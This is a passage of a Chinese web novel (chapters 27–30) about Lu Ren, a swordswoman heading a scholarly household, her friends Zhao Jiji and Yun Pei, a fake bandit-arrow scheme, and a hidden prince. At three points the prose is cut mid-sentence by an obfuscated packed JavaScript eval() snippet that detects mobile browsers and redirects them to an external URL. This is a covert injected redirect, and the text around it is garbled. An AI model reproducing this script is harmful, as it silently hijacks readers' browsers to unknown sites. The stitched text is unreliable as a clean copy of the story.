少女正在食案前吃的欢快,夹筷子的速度堪比出剑。 “还未问你叫什么名字?”路壬抽出一张椅子坐在案前。 “我叫赵芨芨,妹妹你也可以叫我赵小草,走之赵,小草的小草。”她伸出食指在案上板板正正的比划,一顿忙活后,案上也没出现任何痕迹。 “芨芨是哪两个字?” “不知道,我爷说他捡我的时候,我手里抓着一把芨芨草,就叫我芨芨,但我爷不认字,我也不认字,行走江湖总需要有个具体点的名字,就叫赵小草。” “看你方才睡着就让人扶你休息去了,天色已晚,你可以在这里呆一晚,你之后有什么打算?”路壬一口气说完。 “望望妹妹,你能不能看在你哥的份上,再收留我几日?” 路壬抬眸望向她:“第一,你可以叫我卢望,也可以叫我小卢,但请不要叫我望望,这样比较像在喊狗。 第二,别抱我,我不喜欢与人亲近。 第三,我哥的坟不在这,暂时看不了。” 赵小草伸出双手握住路壬的手,缓缓摇晃:“啊?暂且收留我几日吧,我当真无处可去了。” “说清楚,我可以考虑。” “我跟着人走镖的,但这趟镖没走成,我也就没银子了。走到这就正好碰到有人在欺负人,我就上去打了他一顿,然后他就报官了,要我赔钱,要么就让我蹲大狱,宣城的治理不行,怎么捕快来的那么快。” “然后你就来借银子?” “啊对,我现在身无分文,借来的银子全用来交赔偿金了,一两天我怕找不到活计就露宿街头沦为乞丐了,看在你哥哥的份……面上,能让我在这吃住几天吗?” “你就没有任何积蓄吗?” “没,我们走镖的人,哪里能随身携带多少银钱,到时候若是镖没压成,自己再折损银两找谁说理去?” “那你之后有何打算?” “我就再找找活计,横竖先凑凑路费?” “你不回原来的镖局了?新上跳板?”(黑话:大概是刚上道的意思。) “哈,我是才托熟人介绍的,为了点报酬,不是人家镖局里的人,出了事人家自然不肯要我。” “赵小草,你没想着要回去,你也不知道要去哪,你在撒谎。” “望望妹妹,你说我撒谎我就撒谎啊,讲话要……” “青子呢?” “什么青啊红啊?” “这是句黑话,我方才问的是你的随身兵刃呢?你能听懂第一句,看来确实入行不久,但你可能第一次走镖不知道,走镖时不论镖成没成,镖局给的盘缠至少要够走个来回的。 所以你剩下的盘缠呢?用在哪里了?还是回了趟家又跑出来?” “你怎么知道那么多走镖的事?” 路壬没有答她,总不能说她依稀记得年幼时听寨子里的人说如何劫镖罢。 “我本来是要同他们一道回去的,但我想着给介绍的朋友买些谢礼,就让他们先启程回去了。 等我快到时,就瞧见他们横七竖八的躺在地上,一刀封喉。押镖的人都在那里,以前的地方肯定回不去了,我这才来投奔卢献。” “那你可能就成了当做替罪羊的逃犯,我家不能有逃犯。”路壬满脸冷漠。 赵芨芨扯着路壬袖子拼命摇晃:“哎哎哎,妹妹,你且暂留我几日,待风头过去我就走,绝不连累你。” 路壬给她递了一整荷包的银子:“找个地方先住下,你现在有点危险,我一家子老弱病残还需要好好活着。” 赵芨芨接过就在手中抛了一下,很是坠手:“多谢多谢。” “如果你命比较大,再来还我银子吧。”路壬看着她的脑壳,由衷的叹息一声,“想活长一点,别用赵小草这个名字,你平日签契书之类的都是用它吧,文书这种东西,只要想查,什么都能查到。” “那……你知道芨芨草是哪个芨字吗?” “不知道。”路壬说的斩钉截铁。 ———— “你俩别看我,我哪里懂什么草?”云配觉得自己醒的莫名其妙,连带着手上尚温的粥都实在不真实。 路壬转头又问卢辛:“管家,你知道吗?” 卢辛伸手在桌面上比划了一下:“先家主在天之灵,瞧见家主努力认字想来也是欣慰的。” “能在纸上写一下吗?我没记住。” “我也没记住。” 卢辛去寻了纸笔来,将赵芨芨三字工工整整写了下来:“当然,有些事情不可强求,我想先家主在天之灵也会理解。” “你能写下我的名字吗?我写的不好看。”路壬复又说道。 卢辛又取了一张新纸,给路壬写了“卢望”二字,并安慰道:“家主的字很是灵巧特别。” “教我写字的那个人,手指甲都被拔掉了,手抖的厉害。”她的声音如落石入水,清越继而湮没其中,只留下消失无痕的沉闷。众人都愣了一下,连路壬都没意识到自己脸上划过两道泪痕。 “他教会家主很多字,很了不起。”卢辛轻道。 云配翻找身上,没找到手帕,便将自己袖子扯了扯,给路壬抹了把泪:“别哭了,你有什么可哭的,他做了什么事就该承担什么后果。” “你怎么还往人伤心处戳?”赵芨芨打掉云配的袖子,掏出手帕轻轻擦拭。 “你……” “望望妹妹,不哭不哭。”赵芨芨另一只手揉搓着路壬的脑袋。 路壬吸了口气,止住她的动作:“我没事。” 她意味深长地看了一眼云配,脸上的担忧之色不是作假,他是个很好的少年,有自己的原则,有自己的喜恶,也把她当做朋友。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14201084|147667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但这不是她最初认识的云配,教她写字的那个云配不是他。 这是个很矛盾的事情。 纠结此事徒增烦恼,路壬暂且将它抛之脑后。 横竖她最初的目的只是让云配避免灾祸。 “去吃饭吧。”她起身归置笔墨纸砚,刻意的用背影避开了与众人的视线交汇。 ———— “早啊,这位小哥。”赵芨芨出门伸了懒腰,出了院子便瞧见在墙头上的云配。 “嗯?我有名字,云配。”云配对赵芨芨印象不好。 “知道了知道了,云小哥,望望妹妹还没起吗?” “旁边院里,这会应该在练刀。” 赵芨芨兴致盎然,扶了扶腰间剑,正打算去同路壬切磋一下。 她推开院门,正瞧见路壬袖子撸起,高举柴刀。 刀有一瞬间的滞空,木头便一分为二,掉落在青石板上,留了两声脆响。 “赵芨芨,你怎么来了?” 赵芨芨眉目微皱:“你这是在练刀?” “嗯,练力量和速度,这样比较人道。” “嗯?”虽不知劈叉如何跟人道扯上关系,但赵芨芨看她这会不能同她切磋,便继续接下话去,与她告别。 “嗯,一年半载的暂时不要联系了。”路壬点点头,示意一旁的二狗继续将木头放墩子上。 “真冷漠呢,走都走了,抱抱。”说着上手抱住举起柴刀的路壬,贴了片刻。 路壬双手被占,不好推开。 “身上有点脏。” 赵芨芨松开她,走到门口又给她挥手告了别: “没事。” 她心情不错,瞧见云配又打了个招呼:“呦,云小哥,要努力名正言顺啊!” “莫名其妙。”云配小声嘀咕,不过还是冲她行了礼。 ———— 又过了两日,方休醒了。 “人醒了,快去信给梁兄长。” “这是……在哪?你们是……” “方录事,梁兄长托我照看你的,先前我在梁府读了一段时间的书,你可有见过我?”路壬搬了个凳子坐在床前。 “卢姑娘,长史怎……么样了?” “他们暂时回了绪州,你的伤不能耽搁,便将你留在宣城。” “好。” 路壬没问他遭遇的何等险情,想来问了也会缄默不言。 人醒了,但很虚弱。 “你且安心在这里,先前替你问了俸禄,梁兄长说给你涨五成。” “真是个……顶顶好的消息。”吉诚拿勺子给他沾了沾水,润了唇。 吉诚叹了口气:“不过你半个月就只能吃点清粥了。” 此时杉宁匆匆赶来:“家主,不知道谁射的。” 她拿出一个穿着纸条的箭,只是没有箭头。 “少了箭头?”与怀永安先前提的箭头可有关联? “不是,那支箭将咋家刚修好的大门射倒了半扇,我们取不出来,二狗拿锯条锯开的。” 卢家大门,当真是命途多舛。 路壬取下纸条,纸条精简,四个方方正正但丑极的大字:找到你了。 28. 暖雨晴风初破冻 是那夜的水匪? 不好办啊,一家老小的。 报官吧,总要有些证据,单凭那支箭和纸条不足以支持。 “家主?”卢辛在一旁站着,等着路壬吩咐。 “我有个不太厚道的……主意。” _______ “刻雕版?” “嗯,尽快。” “为什么要刻那么丑的?” “我又不会跟怀永安一样可以仿别人笔迹。” “能再做五十只这个大小的箭吗?末端削尖就行,不用箭头。” “什么时候要?” “今天晚上。” “你要不把我卖了换匹骡子吧?” “有点急。” “我比照着这箭样式画图纸,看看府里人能不能赶出来?” “行。” 夜半,路壬穿上夜行衣,背着一背篓的箭,往宣城有头有脸的人家大门上都射了一支箭。 箭上还插着一张:“找到你了”的字条。 大门被射穿了的,大门被射烂了的,大门被射倒了的,一群人折腾了半宿也没查出来是谁所为,宣城的鸡起的都比平日早。 不到辰时街上就有传言:是句宛江的水匪,射到谁门头就要抢谁家。 整个宣城那么多家都被射了,他水匪寨子到底是有多大? 左家喊上了几个宣城有名号的家族,一群人浩浩汤汤的去找府衙报官。 卢家的剩下的一半大门一早就被敲响了。 “卢贤侄啊,走一同去府衙!” 路壬穿戴好,睡眼惺忪的走到大门口,就已经看到了当日宴会上的十几人。 这是要去约架。 路壬眼睛微微睁开,诧声道:“我家的大门这是怎么了?” “哎呀,贤侄,你家太疏于防守了,你治家还是要规矩严明些,这这这……这么大事竟没人告知于你?” “他们睡的太沉了,忙完再去教训他们。”路壬拔出门上的箭,展开纸条:“找......你?这上面写的什么?认不太清。” “是“找到你了”听说是句宛江的水匪,杀人害命的。咱们也快去报官吧。” 路壬掩面叹息:“应当的,当初来时就瞧见身后几家在句宛江上被水匪追击,我们小船好不容易将带的金银财帛抛过去竟还不罢休,最后还是将酒坛点燃扔去才阻碍住他们,得以活命。如今再来,想必不会善罢甘休?” “这么凶险?”有一位盛家的掌事人问道。 “确实如此,诸位是都收了这消息?”路壬点点头,忧虑道:“怕是知道宣城此地几家富庶,才生了歹意。” “还是快去府衙报官吧。” “有理有理,到时整兵剿匪,咱们这也太平了。” 非是着些胆小如鼠,只是大家多多少少经过五王兵乱,实在对片刻的动荡都紧绷着神经。 江南富庶,可再往南几城就是陈国,边城之地,富庶也是罪过。 府衙上,别驾瞧见乌泱泱的一片人,事情也明了,虽不至于立即出兵剿匪,但也拨了些人,加强进出城守备,又派遣兵士长街巡逻,也算安了下惶惶的人心。 ----------------- “这样水匪就不会来了吗?”云配的新做的袖弩已经成型,小巧精致,他正站在屋檐往下射靶子。 路壬站在柳梢,折了一掐柳枝:“来,如何不会来,只是应该会小心些,等到稍一放松,给人一击。” “那报官有什么用?” “闹大一些。” “若是他们夜袭,你有把握吗?” “如果要全留活口的话,没把握。” 云配疑心自己听错,又问了一遍:“你刚才说什么?” “我没把握全留活口。”路壬手上咔嚓一声,柔韧的柳条应声而断。 “你意思是,如果不留活口的话,你能打是吗?” “杀人要伏法的,朋友。”路壬手上动作未停,将细滑幼嫩的枝条挑拣一处,继而补充道:“《斗讼篇》中有提:“诸斗殴杀人者,绞;以刃及故杀人者,斩;诸误杀人者,减斗杀一等”,姑且以误杀人算,一般也要赎刑。 但以《斗讼篇》中条目:“诸斗殴杀人者,各以杀伤论;若己被伤而杀伤人者,不坐”,及《贼盗篇》中:“盗贼伤人者,得杀之;盗贼杀伤人者,亦得杀之”这两条来看,若是证明人是水匪,证明水匪会来我家,证明有人被伤,大概率不会被定罪。 在确定你会活着的这一年多时间里,我最好避免一些不必要的人命官司。 若是能将水匪一网打尽,则依照《捕亡篇》中条目:“诸捕亡人,能捕得者,听依格给赏”,还能领一些悬赏金补贴家用。” “你律法学的真好。”云配望着柳丝间的路壬,她有条不紊的陈列律法条目,她的面庞被光绕在风里,明亮的晃眼。 “砍人多了,就会了。”路壬垂眸思索,又低头对云配道,“再者我答应我哥了,我们卢家是书香门第,清流世家,祖祖辈辈,忠君爱国......所以我不能有案底。” 云配以为她会再说出什么惊人之语,果如预想,当即缄默不言。他坐下,身体微微后倚,春风拂面,而后将眼睛微微眯起来,重看刚才那处,觉得依旧晃眼。 路壬用衣摆包着柳枝,跳到屋檐坐下,察觉到云配的沉默:“你怎么不说话了?”幼嫩的枝条被路壬削成约两寸的长短,归置到一起。 “没有什么好问的,你听有鸟叫,今天的风也暖和。”云配索性整个人躺下,不打算费神思索。 路壬用手指将柳枝皮与白枝分离,又用小刀将一端外皮刮了干净,放到云配嘴边:“柳笛,有吹过吗?” 云配不知她何时走那么近,心漏了一拍。 鼻间充盈青涩的植物香气,他接过路壬手中的有些软塌塌的柳梢,光滑间仍有些未冒出的芽点,其貌不扬。 “怎么吹?” “把上端含在嘴里,然后吹气。好久不做了,也不知道会不会响。” 路壬坐在云配身旁,又给自己做了一个柳笛。 云配使劲吹了吹,柳笛发出浑厚的一声,他一下笑了出来:“有些像放屁。” 路壬看着他也笑了起来,摩挲了两下手中的柳笛,长长吹响。 呕哑噪杂难为听。 赵芨芨正从外面爬上墙头冲着二人打招呼。 “呦,望望妹妹,云小哥,你们干嘛呢?” 路壬收敛起脸上的笑:“你怎么来了?” “放心,我走的墙,没人瞧见的。”赵芨芨跨坐在墙头,“我新找了小院,你们要过去看看吗?” “不去。” “啊?离这很近的。真不去吗?” “不去,你今日来还有什么事吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14286153|147667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “哦,那天光顾着借钱,忘了给你哥上香了,你看我还买了祭品。”赵芨芨翻下墙头,站在了院中。 路壬和云配二人方才发现她腰间系了好几个包裹,鼓鼓囊囊。 “我买了两只叫花鸡,还有些点心什么的。” 今日不是初一十五,路壬叹了口气,喊来卢辛开开祠堂。 赵芨芨极虔诚地上了香,将自己带来的食物一应展开。 “我特地挑了两只大的,蘸料让店家多给了些,另外的点心不知道是更爱甜的还是咸的,就都要了些,若是还有其他想吃的,托梦给我。你是个好人,在天有灵,保佑我们平平安安的。” 她说的情真意切,像是真正的友人。 等到香燃尽,路壬就喊人将祭品撤去,让厨房热一热等下吃。 时至中午,路壬自然也不好撵她,留她一起用膳。 “这家叫花鸡真好吃!” “你喜欢的话,自己多买几只。” “对了对了,我听说句宛江水匪来了,你们可要当心一些,我之前当商队护卫时同他们打过照面,是群亡命徒。” “嗯,这我知道。” 赵芨芨又摘了个鸡翅,啃了一口:“不,你不知道,句宛江水匪只是一个总称,但事实上有三个寨子的人。前些日子他们打起来了,句宛江上现在太平了不少,我还当是好事,谁知他们竟来了这里,也不知是否要在这扎根。” “三个寨子为何打起来了?” “这我哪里知道,不过无外乎“钱”和“命”。”赵芨芨捏着手中的鸡骨,在空中点点划划,“句宛江平日也只有商户行船,倒也没什么啊,鱼也不算特别好吃。” ____ 待送走了赵芨芨,路壬便回到书房,提笔给卢献写了一封信:“句宛江水匪三寨内讧,原因不明,但可借其名目行事。” 卢辛接过信件,笑道:“家主和先家主感情真是不错。” “嗯,帮我烧给他。”路壬点点头道“另外还有一件事,你帮我查。” “哦?”卢辛附耳过去。 路壬将查的事情一一交代:“别让别人发觉你在查这件事,有风吹草动及时收手。” 卢辛挑眉道:“家主说的这样直接,不怕我猜出来什么?” “我相信你。” 卢辛笑意更深:“那属下这就去查。” _______ 方休刚能下床走路,就要回绪州去,老邓拦他不住。 “方录事,你伤还未好全,要不在府中修养力气,我先前已经托人送信去绪州了。” “伤大概已好,不便叨扰。”方休行礼道,“句宛江水匪一事,属下也会一一告知长史,姑娘可需长史派些人来,或者去信宣城长官?” “不必让梁兄长担忧,你有伤在身,我让人送你去。”说罢便安排了吉诚收拾行装赶车送他。 “这怎么使得,借匹马我……” “使得使得,你再帮我带着土仪去绪州。还有这边的文房四宝,你且帮我带给韩王妃一份。”路壬喊人抱了一堆东西上车,又将方休塞了进去。 云配跑着赶来,将手上一个精致小巧的盒子塞给方休,“另外这个盒子你交到梁兄长手上。” ______ 绣房里,卢献接到信时,已经知道将茶盏端的远一些。 “是个大活啊。” 29. 草色遥看近却无 “为什么赵芨芨要天天跟我们一起吃饭?” “我也不能现在把她扔出去啊。”路壬缓缓吹勺子。 赵芨芨面上丝毫没有变化:“就这样当着我面说没关系吗?你们说话都不避着我哎,可见你们信任极了我。” 路壬摇摇头: “我觉得没有必要多喝两碗汤去想这个问题。” “可是我好喜欢大家一起吃早膳晚膳午膳。” 云配不明所以: “为什么?” “大家可以吃饭的时候谈些天南海北的故事。” “食不言寝不语。”云配伸出手掌,以示拒绝。 路壬继续摇头: “我不太喜欢吃饭说话。” “怎么形容呢,就是一种安心,虽然大家都没表露出这个意思,但吃饭的时候就可以短暂的不去想烦心事。”赵芨芨心情很好,吹汤的时候眉眼也是弯的, “我没什么朋友,你俩就是我朋友。” “不,我们暂时还没那么熟。”云配也跟着路壬缓缓摇头起来。 “不,我不许你那么贬低你,愿意在我落难的时候借我银子,虽然看在你死去哥哥的面子,但你就是我朋友!”赵芨芨隔着桌子伸出两根手指挡在了路壬嘴前。 路壬手指摸了摸鼻子,不知如何去答,过了一大口气:“算了,三个人里面总得有一个人开心。” 赵芨芨放下碗,挪了挪屁股,大大方方的将脑袋靠在路壬肩上:“望望,你真好!” 谁教的?谁教的! 路壬调了下气息,气息不稳容易走火入魔:“那很好的望望给你一个建议。” “嗯嗯嗯。你说。” “我给你的银子,是让你饿不死的,不是让你去救风尘的。” “可是他好苦的,他说他家中姊妹兄弟很多,父母病重,都吃不饱饭,他也是刚刚干这一行,不会说话,也没什么生意……”赵芨芨脑袋贴着路壬肩晃晃,像个按摩滚轮。 “这跟你有什么关系?” 赵芨芨的全部身家都给了春风馆里一个小馆,她甚至没有留自己的早中晚饭钱。 “他说他没有客人,没有客人就没有生意,没有生意就没有钱,没有钱家里就吃不饱饭,我觉得他太不容易了。” 路壬忽然很恨上天,她还是不够刻薄,如果她够刻薄,她一定说:“上天对善良又愚蠢的人总有些偏待。” 应该大声的把这句话说出来,而不是只在脑子里用赵芨芨的声音讲一遍。 路壬不忍苛责她,处事原则上赵芨芨并没有错,所以她叹了口气:“你有没有发现你也很不容易,你把钱给他你也吃不饱饭了。” “可是江湖不就是快意恩仇,千金散尽还复来吗?” 路壬发现道理很难讲清楚,恨不得将自己哥哥得在天之灵叫过来,领走他一见如故得好友。 “快意恩仇要讲究律法,千金散尽还复来的李白散尽了千金……也确实散尽了,他还能活的好好的,是因为他是李白,你能好好吃饱是因为你借的钱是我家的,花的钱也是我家的,吃的也是我家的。” “所以望望你最好了!”赵芨芨伸出了双手,搂住了路壬的脖子。 路壬身心俱疲,端汤,吃饭。 从未意识到讲话也是如此费力的一件事。 心无旁骛、不再插嘴且安安静静吃饭的云配甚至受到到迁怒:“你也不许救风尘。” 云配当时闹着要救人的决心比赵芨芨还大,路壬想想就更是头疼。 果然,人没钱的时候身子累,人有钱了就会旁的事心累。何苦为难她一个苦命人的脑子? ———— “家主,我回来啦!”吉诚很是高兴,他拉了一马车的东西。 他介绍的兴致勃勃:“这是梁长史给公子的书,这是韩王妃给您的首饰,这是梁长史给带来的绪州土仪,梁长史还给了我一锭银子当辛苦钱,梁长史真好!” …… 路壬最近几日对 “真好”二字有些敏感,不过听到修饰的主人公不是她,喘气之间便好了很多。 “你辛苦了,休整一下,邓伯让厨房给他烧些菜,路上吃不好。” “家主,不着急不着急,梁长史府里有刺客。” “???” “这难道不比土仪着急?” “不过没成,刺客直接奔着韩王和王妃居室去了……” 路壬眉头一皱,直接就刺杀了? “不过刺客没有刺杀,直接闯出去了。” 这刺客是要杀谁? “这刺客扮成了送菜的,混进了府,还同人打听是不是有客人来府中。不过问的问题有些奇怪。” “怎么说?” “他问的是:“是有一男一女两位客人吗?”被问的那人倒是也觉得奇怪,不过王爷王妃倒也是一男一女。” “这是刺客吗?” 听着很不靠谱,像是去送死的,不然一个刺客怎么会笨成这样? “后来人抓到了吗?” “没,梁府护卫去追了,不过人已经追不到了。梁长史和王爷王妃都不会武,怕刺客卷土重来。” “也是。”万一是调虎离山呢。路壬点点头,又看向吉诚。 吉诚哪里不明白这个眼神,只能无奈摊手:“家主,我知道的就这些了。” “哦哦哦哦,吃饭吃饭。”路壬招呼卢辛开饭,自己则回了书房。 看她沉思,云配干脆也跟在了她身后:“你觉得哪里不对吗?” “刺客是要刺杀谁呢?为什么要是一男一女?” 云配没有明白路壬奇怪的点:“我对杀手这个行业不太了解,杀手对刺杀对象的性别有要求吗?” 路壬还真的认真思索起来:“职业的话,给钱多就行。家养的话,不知道。” 江湖上是有职业杀手的,什么楼啦,什么派啦,什么组织啦,要价听说很高。 “江湖之事真是博大精深。” “打住,你不要对这个职业好奇。” “那你怎么想?” “我在想梁家有什么客人是一男一女吗?” “这个问题非想不可吗?” 路壬面色严峻:“直觉而已,总觉得忽略了什么。” “梁家哪里有客人啊,我们在那住的那段时间,不说女客,男客也没有。硬说的话也就只有韩王妃和韩王了。” “确实如此……”但听云配的话,路壬脑中想不起来什么事的感觉愈发强烈。 “啊,我想起来了,你也算女客。”云配猛一激灵,握拳捶掌。 那男客是指云配和怀永安? 不对,还是有哪里不对,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14379453|147667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们先前在梁府时,也未曾有人刺杀,反而如今不在了才跑去刺杀,好不合理。 莫非是消息隔得太远,传到刺客耳朵里时就已经过了几个月?但也不无可能。 干杀手这一行最重要的难道不是信息? “算了,我们又不在绪州,没处查去,别干想了,靠我们俩够呛能想出来的。”云配摆烂,直接坐在了路壬院中的躺椅上。 路壬不置可否,还是回屋写了封信。 云配看着她拿出来的信,盖了印,封了口。然后路壬就带着那封信,绕过他,直接出了院门,交给了卢辛。 路壬回来时,云配就挺着身子在躺椅上,看着他。 “我一直想问你,你最近的信是寄给谁的?”云配问完又发觉不是那么礼貌,身子又塌在了躺椅上,“可以不说的。” “寄给一个比我们俩脑子好用的人。” “怀永安吗?” 路壬叹了口气,倒也不是万事都指望怀永安,只是三个人想事总比两个人要好一些,只可惜音信全无:“不是,找不到他。” “哦。好吧。”倒也没必要知道的透彻,故而云配也不再追问。 “等时间合适,我一定告诉你。” ————— 卢献打开信,入目只有一句话:“确定梁家的杀手不是你派去的吗?” 信任危机了,怎么他有这么大动机吗? …… 还真有。 “哈哈哈哈哈,量思,难得见你如此吃瘪。”清越的男声从绣床传出,帷幔朦胧间倩影微动。 卢献随手扔了个纸团过去:“拖你的福,我妹妹问她这个哥哥有没有替你杀你的哥哥。” 床上躺着的人,便是传说已死的弘王沈乾。 “也行。” “嗯?” “其实刺杀也行。”弘王伸出一只缠满纱布的手拨开帷幔,“可以省很多麻烦。” 卢献嗤笑一声:“谋逆,弑兄,你哪天登基了别人不知道说你什么,我定是乱臣贼子了。” 弘王他艰难的侧过身,他盘着女子发髻,穿着女子装束,另一只未伤的手还染了蔻丹。 他面容温润,年岁也小,扮作女子未尝不可。 “到时候我给你丹书铁券,然后群臣就会说:“啊,陛下被这个奸臣蛊惑了,快,清君侧。”然后我们就只能赶紧跑,否则被我的哥哥们逮到我们就真成了昏君和奸臣了。” 卢献又扔了个纸团,正中弘王的脑袋,“就不能说些好的,我就不能成个大权在握,但无所事事,时不时被君主猜忌的老臣吗?像云相那样,时不时去教训下下一任君主,三代的君主都能挨个骂。” “嗨呦,你心里戏蛮多的哎。”弘王失笑。 “谋士,总要多想几种可能。哪日不测就赶紧跑。” “我还以为你会说士为知己者死呢。” “不行,行到山穷水尽时,说明我也尽力了,我不能死,还有弟弟妹妹要养。” 弘王泛起一丝羡慕。 “真好啊,还有弟弟妹妹可以养。” 卢献挑眉笑道:“无妨,等事成,你想养哪个哥哥就养哪个哥哥。” “哈,哈,哈,哈,你真是个幽默风趣的谋士。那下一步呢?” “让弘王活过来。” 30. 凭风芥子系孤舟 四地流言四起,说是在绪州发现了弘王的身影。 弘王,那个谋反死了的弘王? 流言传播的速度极快,三日便直接传到了宣城出门买鱼的老邓耳中。 “有人亲眼在绪州看到了弘王,只不过好像记不得自己是谁,别人瞧见时,他在街边同野狗抢食。”老邓说时满是叹惜,“好歹也是护过国的将军……” “也许只是人瞧错了,若是真的宫里肯定要寻的。”路壬不知这到底是不是卢献搞出来的事情,但理论上是不用她横插一脚的,便索性不管。 消息传的如此之快,必然有人推波助澜。按照大案的流程,弘王估计要大理寺收监。 弘王失忆可能会钓出些鱼,在绪州的地界上,弘王出现又死了,跟韩王脱不了关系,所以较大的可能韩王会保弘王,至少不能让他在自己的封地出事。 ———— 赵芨芨依旧每天爬墙到卢府,只是只用晚膳,吃的倒不少。 路壬瞧见她一身竟无一处干净之地:“你去做什么了?怎么身上脏兮兮的?” “啊,我去码头搬东西了,一天四百文,好多钱呢。”赵芨芨得意的将钱袋展示给路壬和云配看,铜钱清脆碰撞。 路壬眉头一皱:“听起来有点少。” 云配和赵芨芨当即瞪大眼睛望向路壬:“你能听出起来钱袋里钱的数量?” “生活所迫,总有些老板偷偷扣钱,听多了就会了。” 赵芨芨义愤填膺: “怎么会有这么坏的老板,然后呢?” “忍一步风平浪静,忍不住就打到风平浪静。” “啊这。” “所以你的钱为什么那么少,被人克扣了?”路壬不解。 “不是不是,我一文一文数的,刚刚好四百文。” “那你的钱呢?” “我分了一半给袅袅。” 云配和路壬四目相对,只觉不妙: “谁是袅袅?” “就是那个家里有很多人要养,在春风馆干活的袅袅啊。” 云配贴着路壬耳边道: “那个袅袅就只逮着一个她一个骗啊?” “那你这次给钱是什么理由?” “他说他要买胭脂水粉,没有胭脂水粉,客人就觉得他丑,他就没有客人,没有客人他就没办法赚钱养活病重的父母和嗷嗷待哺的兄弟姐妹了。” “……” 真想当个凉薄的人啊! 路壬提上刀,喊上卢辛就跑出去了。云配和赵芨芨察觉不妙,忙跟上去。 “家主,发生了何事?”卢辛跟着骑上快马时,才来及问路壬。 “替天行道。” 直到二人站在春风馆大门前,卢辛才无措起来。 一脸餍足的陈家二爷出来,瞧见路壬便上前来。 “陈二爷。”路壬阖手行礼。 “卢家主,来啦,还带了管家,讲究!”陈二爷笑的平常,语气里甚至有些赞许、敬佩与相见恨晚,“改日有空来我府上一同品茶。” 卢辛一边努力维持面上良好的微笑,一边问道:“家主,一般出来您不都是带云配公子吗?怎得今日带属下出来?” “必要的时候赔给人家钱。” 路壬板着一张脸问龟公: “我们找袅袅。” “袅袅?您说的是袅娜吧?”龟公不知发生何事,他反复掂量卢辛给的大块银锭,又拿不准路壬的态度,“您有什么事先找小的说说,没准我能给您做主呢?” “我与他有笔账要算,烦请带路。” 龟公一边给打手使眼色,一边引着路壬去到三楼“请随我来……” “就是这里了,袅娜啊,有客人要见你。”龟公轻轻叩门,眼睛却暗下观察路壬神色。 开门的男子瞧着约莫二十上下,他皮肤莹白,五官俊秀,长发披散,浑身像是只蒙着一层轻纱,风一吹即散,恰如其分的露着身体的线条,衣带松垮,内里的衬布呼之欲出...... 路壬侧头同卢辛道:“找个凳子挡一挡你,别被打到。” “客人寻我可是有什么事?” “你是习武之人?”路壬眉头一皱,右手三指已经搭在刀上。 “是啊。”对方诚恳点头。 “有着一身本事,寻个其他的出路不好吗?非要流落这烟花柳巷,还要骗人钱财。” 袅娜不服,却还是温声细语:“这位客人,我何时骗人钱财了啊?” “赵芨芨手中钱财,少说也有百八十两,怎么全给了你?” “芨芨姑娘真是个好人,包了我两个月呢。客人啊,我们这一行的可是最讲诚信的,我没骗芨芨姑娘啊。” 路壬拳头收紧,总觉得手上气力无处发泄。 赵芨芨,没救了! “她包了你,图什么?” 说起赵芨芨,袅娜语气有几丝钦佩:“按道理来说,我们做这行的,钱货两讫。她本来可以睡我两个月的,但她说不用,可真是个好人!” 一个愿打一个愿挨,路壬登时有种拔刀四顾无头可砍的茫然。 “家主,我们还要继续吗?”卢辛适时插了一句嘴。 袅娜又问道:“所以客官你这次的来意是希望我把服务补给芨芨姑娘吗?” 追来的赵芨芨和云配匆匆赶来,门口藏着悄悄看情况的龟公。 赵芨芨抱着路壬大腿:“望望妹妹啊,袅袅他真的很难的啊,他还有一大家子人要养。” 卢辛举着凳子挡在面前: “赵姑娘,虽然打断你说话不太好,但个人愚见不太建议你继续说下去。” “他这一听便是骗你的。”路壬恨铁不成钢,指道。 “客人我家里真的有很多人要养的。” 赵芨芨忙附和点头。 袅娜瞧见躲在门另一侧的云配,忙凑近过去,路壬当即拔刀挡在云配身前。 “客人客人,这位公子他能证明。” 云配躲在门后也不知这战火如何烧到了他这里,颇有怀疑的指着自己:“谁?我吗?” “嗯嗯嗯嗯。” 路壬斜眼瞥去: “救风尘了,包月?” “我成日在家的,何曾出来过?”云配忙张口辩解,这人怎得凭空污人清白。 袅娜轻轻的掸了下路壬的刀,态度诚恳,隔着路壬喊云配:“那位客人,你且附耳过来,我只同你一人说。” 云配见路壬点头应允,便也凑了过去。 “少主,我是莫飞,真的有五百三十个兄弟要养!” 云配登时瞪大了眼睛。 真是作孽!昔日莫飞一身黑衣,只露出来一双眼睛,他哪里能认得出来,如今这一身婀娜轻纱,竟显得有些诡异。 云配转身同路壬恳切讲: “他……真的有……很多家人要养,我能证明。” “?” 鉴于云配坚持,卢辛又掏出来二十三两八钱将人赎出来,又掏了一钱去给袅娜买了身正经一点的衣服,加上先前的十两,卢府净亏三十三两九钱。 ——————— 